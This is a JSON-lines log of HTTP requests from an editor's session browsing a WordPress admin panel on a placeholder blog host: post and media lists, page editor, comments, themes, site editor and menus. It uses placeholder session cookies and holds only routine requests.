{"method": "GET", "target": "/wp-admin/edit.php?s=hello&post_status=all&post_type=post&action=-1&m=0&cat=0&paged=1&action2=-1", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203157"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=category", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203158"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-tags.php?taxonomy=post_tag", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203159"], "body": ""}
{"method": "GET", "target": "/wp-admin/upload.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menu&load%5Bchunk_1%5D=s,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-includes/images/spinner.gif", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,buttons,media-views,common,forms,admin-menu,dashboard,list-tables,edit,revisions,media,themes,about,nav-menu&load%5Bchunk_1%5D=s,wp-pointer,widgets,site-icon,l10n,wp-base-styles,wp-tooltip,wp-auth-check,wp-theme,wp-components,wp-commands&ver=7.1.4", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 128", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/upload.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": "action=query-attachments&post_id=0&query%5Borderby%5D=date&query%5Border%5D=DESC&query%5Bposts_per_page%5D=80&query%5Bpaged%5D=1"}
{"method": "GET", "target": "/wp-admin/upload.php?mode=list", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203160"], "body": ""}
{"method": "GET", "target": "/wp-admin/media-new.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203161"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=jquery-core,jquery-migrate,utils,wp-dom-ready,wp-hooks&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-scripts.php?c=0&load%5Bchunk_0%5D=hoverIntent&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://blog.example/wp-admin/media-new.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit.php?post_type=page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203162"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 171", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/edit.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203163"], "body": "data%5Bwp-check-locked-posts%5D%5B%5D=post-3&data%5Bwp-check-locked-posts%5D%5B%5D=post-2&interval=10&_nonce=f06ef15ba2&action=heartbeat&screen_id=edit-page&has_focus=true"}
{"method": "GET", "target": "/wp-admin/post-new.php?post_type=page", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203163"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/comments?context=edit&post=8&type=note&status=all&per_page=100&_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "GET", "target": "/wp-json/wp/v2/block-patterns/patterns?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "POST", "target": "/wp-json/wp/v2/users/me?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 158", "X-WP-Nonce: b40ef802e6", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-HTTP-Method-Override: PUT", "Content-Type: application/json", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/post-new.php?post_type=page", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": "{\"meta\":{\"persisted_preferences\":{\"core\":{\"isComplementaryAreaVisible\":true},\"_modified\":\"2026-11-09T05:46:05.490Z\",\"core/edit-post\":{\"welcomeGuide\":false}}}}"}
{"method": "GET", "target": "/wp-admin/edit-comments.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203164"], "body": ""}
{"method": "GET", "target": "/wp-admin/edit-comments.php?comment_status=moderated", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203165"], "body": ""}
{"method": "GET", "target": "/wp-admin/themes.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203166"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfive/screenshot.png?ver=1.5", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentyfour/screenshot.png?ver=1.6", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-content/themes/twentytwentythree/screenshot.png?ver=1.7", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://blog.example/wp-admin/themes.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "GET", "target": "/wp-admin/theme-install.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203167"], "body": ""}
{"method": "POST", "target": "/wp-admin/admin-ajax.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Content-Length: 73", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: */*", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/theme-install.php?browse=popular", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203168"], "body": "request%5Bper_page%5D=100&request%5Bbrowse%5D=popular&action=query-themes"}
{"method": "GET", "target": "/wp-admin/site-editor.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203168"], "body": ""}
{"method": "GET", "target": "/wp-admin/load-styles.php?c=0&dir=ltr&load%5Bchunk_0%5D=dashicons,admin-bar,wp-theme,wp-components,wp-preferences,wp-block-editor,wp-reusable-blocks,wp-patterns,wp-media-utils,wp-edito&load%5Bchunk_1%5D=r,wp-base-styles,common,forms,wp-reset-editor-styles,wp-block-library,wp-block-editor-content,wp-edit-blocks,wp-commands,wp-edit&load%5Bchunk_2%5D=-site,wp-format-library,buttons,media-views,wp-block-directory,admin-menu,dashboard,list-tables,edit,revisions,media,themes,abou&load%5Bchunk_3%5D=t,nav-menus,wp-pointer,widgets,site-icon,l10n,wp-tooltip,wp-auth-check&ver=7.1.4", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "OPTIONS", "target": "/wp-json/wp/v2/settings?_locale=user", "headers": ["Host: blog.example", "Connection: keep-alive", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: application/json, */*;q=0.1", "X-WP-Nonce: b40ef802e6", "Origin: http://blog.example", "Referer: http://blog.example/wp-admin/site-editor.php", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
{"method": "GET", "target": "/wp-admin/nav-menus.php", "headers": ["Host: blog.example", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: wordpress_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_8f08caa83939d4856f3c9b1fa17104b4=editor1%7C1893456000%7Cabcdefghijklmnopqrstuvwxyz0123456789ABCDEFG%7C0123456789abcdef0123456789abcdef0123456789abcdef0123456789abcdef; wp-settings-time-1=1794203169"], "body": ""}
